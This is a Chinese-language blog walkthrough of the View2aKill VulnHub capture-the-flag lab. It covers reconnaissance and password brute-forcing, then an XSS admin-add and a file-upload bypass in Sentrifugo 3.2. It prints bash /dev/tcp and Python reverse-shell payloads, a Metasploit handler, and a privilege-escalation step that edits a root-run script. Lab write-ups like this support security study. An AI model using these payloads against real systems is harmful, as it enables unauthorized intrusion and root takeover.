『VulnHub系列』View2aKill: 1-Walkthrough

靶機地址

難度:中等

靶機發布日期:2019年10月29日

在這裏插入圖片描述
靶機描述:Mission: Millionaire psychopath Max Zorin is a mastermind behind a scheme to destroy Silicon Valley in order to gain control over the international microchip market. Get root and stop this madman from achieving his goal!
Difficulty: Intermediate
Flag is /root/flag/flag.sh
Use in VMware. DHCP enabled.
Learning Objectives: Web Application Security, Scripting, Linux enumeration and more.

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

友情提示:這個靶機可能會經常性"失聯",每次我只能重啓靶機解決。

工具、知識點和漏洞

  • nmap
  • dirsearch
  • searchsploit
  • metaspaloit

0x00、信息收集

靶機IP:192.168.0.110

nmap -sn 192.168.0.0/24

在這裏插入圖片描述
端口和服務

nmap -sS -sV -T5 -A -p- 192.168.0.110

在這裏插入圖片描述
頁面、目錄枚舉

dirb http://192.168.0.110 -X .php,.txt,.zip,.html

在這裏插入圖片描述

gobuster dir -u http://192.168.0.110 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在這裏插入圖片描述
http://192.168.0.110/

在這裏插入圖片描述
http://192.168.0.110/robots.txt

在這裏插入圖片描述

看到joomla自然想到了那套全球知名的內容管理系統,但這個卻不是。joomscan和gobuster掃描了一下http://192.168.0.110/joomla什麼也沒發現

在這裏插入圖片描述
整理一下目前收集到的信息

dir&pages:

  • /joomla → mp3
  • /dev
  • /zorin
  • /defense
  • /pics
  • /index.html

port&services

  • 22 OpenSSH 7.6p1
  • 25 Postfix smtpd
  • 80 Apache httpd 2.4.29
  • 8191 PHP cli server 5.5 or later(http-title: electronic controller app)

下面就是以上述信息爲基礎,進一步收集信息

8191端口
在這裏插入圖片描述
在這裏插入圖片描述
http://192.168.0.110/dev/

在這裏插入圖片描述
幾個PDF文檔只是幾個產品的說明文檔之類的,而且都可以在網上查到(後面發現這些是重點)

http://192.168.0.110/dev/SystemPrep.txt

SysAdmins, Devs, Security, etc. Keep in mind once this site goes live, we’ll be working a TON of over time. Make sure everything is tested and ready to rock before pushed to prod.

http://192.168.0.110/dev/about.html

insert photo here
Hi I’m Max,
Boss, please add short bio here about your self. The copy writers said to “make yourself sound personable” (whatever that means).

下載壓縮文件e_bkup.tar.gz,解壓後得到四個文件

tar -zxvs Desktop/e_bkup.tar.gz Desktop/view2akill

在這裏插入圖片描述
在New_Employee_Onboarding_Chuck.rtf文件中我找到了HR mgmt的一個登錄用戶名:[email protected],以及有關密碼的信息:password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password format example: facility007.

使用hydra對smtp進行爆破,用戶名爲chuck,無果

hydra -l chunk -P /usr/share/wordlists/fasttrack.txt smtp://192.168.0.110

onboarding_email_template.rtf從名字來看應該是個郵件模板;Stop_Storing_Passwords.rtf只是個安全提示郵件。

note_to_mail_admins.txt文件內容:Yo, wassup computer geeks! I was told by design to upload a few example emails for you nerds to work with in prep for what they called “email web gooey platform”.

http://192.168.0.110/defense/

在這裏插入圖片描述
Security devs made a custom app that checks for any unusual files in the apache web directory. Not really sure how it works and if it’s actually secure. Just let them know before any changes are made in web dirs.

http://192.168.0.110/pics/

在這裏插入圖片描述
http://192.168.0.110/zorin/about.html

在這裏插入圖片描述
http://192.168.0.110/zorin/hr.html,找到一個/sentrifugo

在這裏插入圖片描述
從網頁中信息中我們可以知道sentrifugo的初始密碼爲toor,隨後我訪問了http://192.168.0.110/sentrifugo/,這是一個登錄頁面,嘗試了root、admin、max、zorin作爲用戶名,toor作爲密碼,但都沒能登錄。

Sentrifugo是目前國際上最流行的功能完善的開源人力資源管理系統,使用企業達幾十萬家。Sentrifugo是一個用PHP編寫的強大的開源人力資源管理(HRM)系統,它將其數據存儲在關係數據庫(如MySQL/MariaDB)中。Sentrifugo易於配置,並提供許多豐富的功能,如:跟蹤員工的休假日期、跟蹤員工的角色,績效和特權、跟蹤員工的評估、時間和假期管理、招聘/人才招聘、面試時間表、員工自助服務、分析:定義長期和短期目標、背景檢查e.t.c.。

http://192.168.0.110/sentrifugo/,通過右上角的Help按鈕我們下載到了一個使用說明書

在這裏插入圖片描述
既然是知名的HRM系統,那麼應該有相關的exp,但前提是我們需要知道靶機上的版本是多少。由於是第一次接觸這個HRM系統,所以我用gobuster掃描了一下http://192.168.0.110/sentrifugo/,發現了CHANGELOG.txt,通過這個文件我們知道了當前的版本是3.2

在這裏插入圖片描述
在這裏插入圖片描述
好奇之下我查看了gobuster發現的這些目錄,發現可以遍歷目錄

在這裏插入圖片描述
http://192.168.0.110/sentrifugo/sql/,發現一個sql文件,文本編輯器打開之後發現是一些表操作語句,也沒有發現什麼敏感信息

在這裏插入圖片描述

Google搜索“sentrifugo exploit”發現了幾個漏洞,而靶機裏面的版本也是3.2,Platform是Windows排除

在這裏插入圖片描述
Sentrifugo 3.2 - File Upload Restriction Bypass可知,我們可以上傳一個shell文件,但前提是得登錄Sentrifugo HRMS。

整理一下現有信息:
一個Sentrifugo系統的用戶名:[email protected],以及該用戶密碼的提示信息;兩個可用的漏洞:xss、文件上傳限制的繞過

關於這個文件上傳限制的繞過有這麼兩個地方:

  • /sentrifugo/index.php/mydetails/documents – Self Service >> My Details >> Documents (any permissions needed)
  • sentrifugo/index.php/policydocuments/add – Organization >> Policy Documents (higher permissions needed)

區別在於用戶權限。所以我現在的思路就是嘗試hydra爆破一下密碼,如果能成功,再上傳一個shell文件

burpsuite抓包發現用戶名和密碼的參數名稱分別爲username和password

在這裏插入圖片描述

hydra -l [email protected] -P /usr/share/wordlists/rockyou.txt -vV -f 192.168.0.110 http-post-form "/sentrifugo/index.php:username=^USER^&password=^PASS^:F="

這裏需要對rockyou.txt密碼字典進行處理,因爲從之前得到的信息我們知道密碼的格式像:facility007

後面發現這裏其實是我太粗心了,對關鍵信息視而不見,以至於搞錯了獲取密碼的方向

awk '/^([a-zA-Z]+)([0-9]+)$/{print}' /usr/share/wordlists/rockyou.txt > Desktop/view2akill/rockyou.txt

但是這麼篩選完之後還是有500w+,嘗試着跑了跑,後面直接放棄了,所以這個思路可能是錯的。

到這裏思路斷了,nikto掃了一下發現了.git文件,記得有個掃描.git文件的工具GitHack用一下

nikto -h http://192.168.0.110/sentrifugo/

在這裏插入圖片描述

python GitHack.py http://192.168.0.110/sentrifugo/.git/

結果沒有東西

在這裏插入圖片描述

0x01、得到密碼

隔了幾天之後從頭開始重新做了一遍靶機,用hydra爆破了一下smtp的密碼,用戶名是收集到的這幾個:

  • scarpine
  • max
  • chuck
  • zorin

字典用的是kali自帶的/usr/share/wordlists/fasttrack.txt,無果

重新理了一下現有的信息,得出比較確定的結論:想繼續下去必須先得到sentrifugo系統的密碼,賬號已經有了就是[email protected]

然後在推特上跟老外交流了一下,交流結果:就是他找到了密碼在哪,但是他沒找到sentrifugo系統的入口在哪,我告訴他我知道密碼的線索就是password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password format example: facility007.,而且從另外一個人那裏我知道密碼就在/dev目錄下面的那些文件裏面,他說你仔細看看你發給我的那句話,到這兒我才注意到關鍵信息是:lowercase word/txtthe remote detonator + the transmit frequency of an HID proxcard readerpassword format example: facility007

在這裏插入圖片描述在這裏插入圖片描述
在這裏插入圖片描述
下面說一下是怎麼得到密碼的。回到密碼的提示那裏,關鍵信息是: the remote detonator + the transmit frequency of an HID proxcard reader
分開來看就是the remote detonatorthe transmit frequency of an HID proxcard reader,密碼是由這兩個組合起來的。兩個線索分別對應/dev目錄中的兩個文件,如下圖所示:

在這裏插入圖片描述
the remote detonator對應的是remote_control.gif,爲什麼這麼說?先說the remote detonator是啥意思:遠程雷管(來自Google翻譯),之前我是把/dev目錄裏面的文件翻了個遍,remote_control.gif描述就是一個妹子拿個遙控器把一架直升機給炸了

在這裏插入圖片描述

湊巧的是啥呢?我之前用Stegsolve分析了一下這個gif圖片(按幀瀏覽Analyse--Frame Browser),把一張稍微清晰一點的保存成位圖,可以看到綠框中的英文單詞像是HELICOPTER,就是直升機

在這裏插入圖片描述
接着說the transmit frequency of an HID proxcard reader,線索(hint)就是transmit frequencyHID,結合到/dev目錄下的文件,就是HID6005.pdf,打開這個文件(就兩頁),開始找transmit frequency關鍵詞,看到有125 kHz

在這裏插入圖片描述
現在組合HELICOPTER125 kHz,根據lowercase word/txtpassword format example: facility007,得到最終的密碼爲:helicopter125

這裏需要一點聯想,還就是想想你現在手上有什麼,根據現有的東西能做什麼,然後仔細讀給到的hint

所以現在我們有了sentrifugo系統的用戶名和密碼:[email protected]:helicopter125

0x02、XSS添加特權賬戶

登錄sentrifugo系統
根據之前收集的信息,我們知道有個文件上傳繞過的漏洞Sentrifugo 3.2 - File Upload Restriction Bypass,存在繞過的位置請自行查閱。

登錄之後從給到的權限來看,當前賬戶權限較低,所以只能通過/sentrifugo/index.php/mydetails/documents上傳文件,但是在對應的位置根本沒找到documents,說明是沒有權限

在這裏插入圖片描述
爲了進一步證實當前用戶沒有該權限,我直接訪問了/sentrifugo/index.php/mydetails/documents,得到錯誤提示:You are not authorized to access this page.

還有另外一個漏洞Sentrifugo 3.2 - Persistent Cross-Site Scripting

exploit-db裏面的利用說明如下:

A low privileged user can insert a stored XSS referencing a crafted js file that would ride a session of an admin user to create an additional admin user. Logged in as the low priv user, insert the following in “Certificate Description” (Self Service >> My Details >> Training and Certificate Details)
<script src="http://Attacker-IP/add-admin-user.js"></script>
Add the following ‘add-admin-user.js’ file hosted on your attacking machine. This request will need to be customized per instance of Sentrifugo.

具體操作步驟本來已經寫好了(這篇博客在2019年11月21日就已經完成了),但是無奈某某辦法出現了,所以這裏刪去了衆多細節,請諒解!!!

ifconfig eth0命令查看kali的IP爲:192.168.0.108;創建add-admin-user.js文件,裏面的內容你很容易就得到,並將該js文件放置於kali的Apache2服務根目錄(/var/www/html),開啓apache2服務service apache2 start;之後在sentrifugo系統中添加一條記錄,將XSS代碼放於Description輸入框中,之後保存;最後,等待XSS被觸發。

PS:如果你在自己做的時候請一定要先通讀一遍上面鏈接中的內容!!!

When a user with permissions to add users (HR role by default) views your XSS “Certification Description” the add user request should be sent.

關於“誰”去觸發XSS這個問題,我猜測靶機裏面可能有一個計劃任務,只是怎麼實現的就不得而知了。那麼現在的問題就是:怎麼知道XSS有沒有被觸發?

就這個問題我去推特上問了一下,回覆如下:

在這裏插入圖片描述
停掉Apache2的服務,使用Python(Python2 和 Python3的效果是一樣的)開啓HTTP服務,等待計劃任務訪問js腳本

service apache2 stop
cd /var/www/html
python -m SimpleHTTPServer 80

爲什麼要用Python的HTTP服務,因爲當有人去請求add-admin-user.js時候,在命令行上我們是可以直觀的看到,也就是說Python直接輸出了訪問日誌,這不就等於說是告訴我們XSS被觸發了嗎?

這裏只是演示,因爲靶機的IP是192.168.0.111

在這裏插入圖片描述
在這裏插入圖片描述

但是我等了一會兒,XSS並沒有觸發。這裏就有一個問題了,計劃任務怎麼知道你的XSS代碼在哪?或者說怎麼知道應該“點擊”哪一條記錄的查看按鈕?

這裏我查看了一下網頁源代碼。從下面這個截圖推測每條記錄應該都有一個id,而真正的請求應該是http://192.168.0.111/sentrifugo/index.php/trainingandcertificationdetails/viewpopup/id/2/unitId/3/popup/1,所以我推測計劃任務裏面應該是“查看”了id=1的那條記錄,因爲默認就添加了一條記錄。按照常理推測,無疑就是隻需要我們編輯這條記錄,寫入XSS代碼就好了,而無需自己再添加一條新的記錄。但我這裏把第一條記錄刪掉了~,而且就算把所有的記錄刪除,重新添加的時候id也不是從1開始計數的,這應該跟數據庫有關係了,可能這個id是自增長的。我只能重新導入一遍靶機了。

本來這裏有圖的,後來我把它刪除了~~

重新導入靶機,現在靶機的IP地址爲192.168.0.107,重複之前的一系列操作,等待XSS觸發

注意:這裏直接修改默認添加的那條CISSP的記錄就好了

在這裏插入圖片描述

從上圖中我們看到XSS被觸發了,接着用[email protected]:toor登錄sentrifugo系統,結果提示:用戶名或密碼錯誤。

這裏我是怎麼知道toor是密碼?前期的信息收集。在http://192.168.0.110/zorin/hr.html頁面有這麼幾句話: During this transition period all new users (from now on) will have their sentrifugo passwords automatically set to toor so no real email address is required for the system to send the initial automatically generated password.Please be patient as the reset to toor may take up to a minute.由此我們這知道默認的密碼是toor,而且說讓我們等幾分鐘。`

就這個利用XSS添加特權賬戶,我真是試了好多次~原因歸根結底還是對sentrifugo系統不夠了解,比如這些個參數的類型、格式要求。最開始就沒往這方面想~

  • firstname:必須全英文,我用的是Hack
  • lastname:必須全英文,我用的是Insight
  • final_emp_id:這裏只要是系統中不存在的就可以,我用的是EMPP666
  • employeeNumId:要求同上,我用的是666

需要注意的兩點是:第一,這個靶機裏面不要用payload裏面默認的賬戶密碼,這是我在做這個靶機的時候遇到的一個大坑;第二,XSS添加賬號之後,靶機好像需要一會兒的時間去重置新賬戶的密碼爲toor,所以你需要等兩三分鐘。

使用[email protected]:toor重新登錄sentrifugo系統

在這裏插入圖片描述
OK,現在終於解決了一個大問題,我的耐心差點用完,O(∩_∩)O哈哈~

0x03、getshell

剛剛登錄系統之後,好多菜單查看不了,也不知道咋回事,幾乎把所有地方都點了一遍,以至於我懷疑這是個假的超管用戶~直到點到了添加員工,之後再去點之前無法點擊的菜單,就都恢復正常了,一臉懵~

在這裏插入圖片描述

因爲這個比較常用,所以我本地保存了一份生成好的。你可以用msfvenom生成webshell(php/meterpreter/reverse_tcp),生成shell文件之後需要將爲文件添加.doc後綴名,所以最後的shell文件爲shell.php.doc

msfconsole做好接收反彈的shell的準備(針對第二種方式)

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

第一種方式

打開burpsuite,攔截請求,將下面的請求發送到Repeater模塊,因爲在Repeater模塊發送修改的請求後,我們可以在響應包裏看到文件的保存後的名稱new_name,所以這一步很關鍵。

以下刪去衆多細節~~

上傳完成後,雖然知道了保存後的文件名稱,但路徑不知道,由於靶機可以遍歷目錄,所以我在/sentrifugo/public/uploads/policy_doc_temp/找到了我們上傳的shell

在這裏插入圖片描述
訪問http://192.168.0.107/sentrifugo/public/uploads/policy_doc_temp/1574154765_6_webshell.php?cmd=cat /etc/passwd,成功讀取了/etc/passwd文件。接下來反彈shell,?cmd=uname%20-a看了一下靶機的系統是Ubuntu的,所以nc -e就用不了了

之後試了bash -i >& /dev/tcp/192.168.0.108/1234 0>&1,然後給它URL編碼了一下也不行;接着試了把msfvenom生成的shell也給URL編碼了一下還是不行

之後把echo 'bash -i >& /dev/tcp/192.168.0.108/1234 0>&1' | bashURL編碼了一下,成功反彈了shell

這裏應該可以只編碼空格,但我沒試~

在這裏插入圖片描述
在這裏插入圖片描述

第二種方式

可以直接把POST請求的內容用反彈shell的php代碼替換~~

之後訪問http://192.168.0.107/sentrifugo/public/uploads/policy_doc_temp/1574158608_6_webshell.php直接收到了反彈的shell

獲取shell之後的第一步使用Python獲取一個TTY

python -c 'import pty; pty.spawn("/bin/bash")'

如果你想使用clear清屏,那麼只需要給TERM這個環境變量賦值screen即可

export TERM=screen # 賦值xterm也可以

0x04、權限提升

套話部分請老讀者自動跳過~

--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------

關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux

先在kali上開啓HTTP服務

python -m SimpleHTTPServer 65534

使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄

因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

爲了便於查看收集到的信息,我將結果輸出到report.txt文本中

python linuxprivchecker.py > report.txt

靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。

-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------

先到home目錄下“掃蕩”一遍,在/home/jenny目錄下發現了一個dsktp_backup.zip文件,解壓之後發現兩個文件

在這裏插入圖片描述
passswords.txt中得到兩個密碼

  • ssh的密碼jenny:!!!sfbay!!!
  • hr mgmt - NO ACCESS ANYMORE[email protected]:ThisisAreallYLONGPAssw0rdWHY!!!!

todo.txt中得到一個信息/home/max/aView.py,這個不知道有啥用,先放着

在這裏插入圖片描述
使用得到的賬號密碼通過SSH登錄靶機,然後執行sudo -l,提示該用戶無法執行sudo命令

SUID權限可執行文件,沒有可用的

find / -perm -u=s -type f 2>/dev/null

常見的SUID提權可執行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

查看計劃任務,無

cat /etc/crontab

繼續”掃蕩“home目錄下其他幾個目錄,在/home/max目錄下發現了note.txt,內容如下:

在這裏插入圖片描述
在這裏插入圖片描述
看樣子是需要寫個腳本了

最初的代碼如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import string
from hashlib import sha1

import requests

URL = "http://192.168.0.107:8191/{}"
paths = []

for alpha in string.ascii_lowercase: # string.ascii_lowercase
    for n in string.digits: # string.digits
        for m in string.digits:
            path = sha1((alpha + "view" + n + m + "\n").encode("utf-8")).hexdigest()
            paths.append(path)


for i in paths:
    url = URL.format(i)
    r = requests.get(url)
    if r.status_code == 200:
        print(url)
        break

執行完之後,得到一個狀態碼爲200的URL:http://192.168.0.107:8191/7b79b29fa85a5943effb2d9020bf40e24eec33a1,瀏覽器訪問之後,發現頁面上沒有任何東西,查看了一下Content-Length爲167,想着如果多了點什麼Content-Length的值應該會變大,之後改了一下校驗URL有效性的條件:由原來的if r.status_code == 200:改爲if r.status_code == 200 and len(r.content) > 167:

在這裏插入圖片描述
在這裏插入圖片描述
點了一下紅色按鈕,跳轉到另一個頁面,有一個提示:waiting on engineers to tweak final code

在這裏插入圖片描述
因爲之前查看過/home/max目錄下的aView.py,發現上面的提示跟腳本里面的內容相似度很大,一個大膽的猜測是:通過點擊紅色的Execute按鈕調用了aView.py這個腳本,print出了提示。查看了一下腳本的文件權限,發現jenny可以修改它。

在這裏插入圖片描述
這裏我不確定這個腳本是否是以root權限執行的,所以只能說先嚐試一下。

nano編輯器修改aView.py,加入反彈shell的代碼

#!/usr/bin/python
# 
# executed from php app add final wrapper/scirpt here
import socket,subprocess,os
import pty

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.108",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

在這裏插入圖片描述
先在kali上使用nc監聽端口,然後回到瀏覽器上點擊紅色的Execute按鈕,隨後得到了root權限的shell

在這裏插入圖片描述
根據靶機的說明,flag在/root/flag目錄下。進入目錄,發現run_me_for_flag.sh,執行腳本之後訪問8007端口,得到flag。

在這裏插入圖片描述

Github上有歪果仁放出來的Walkthrough,可以拓展一下思路,他不是利用的XSS漏洞,而是直接利用了文件上傳繞過的漏洞,有興趣的可以去看一下。2019-11-16-view2kill

OK,這個靶機就到這裏了,希望都有所收穫。

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章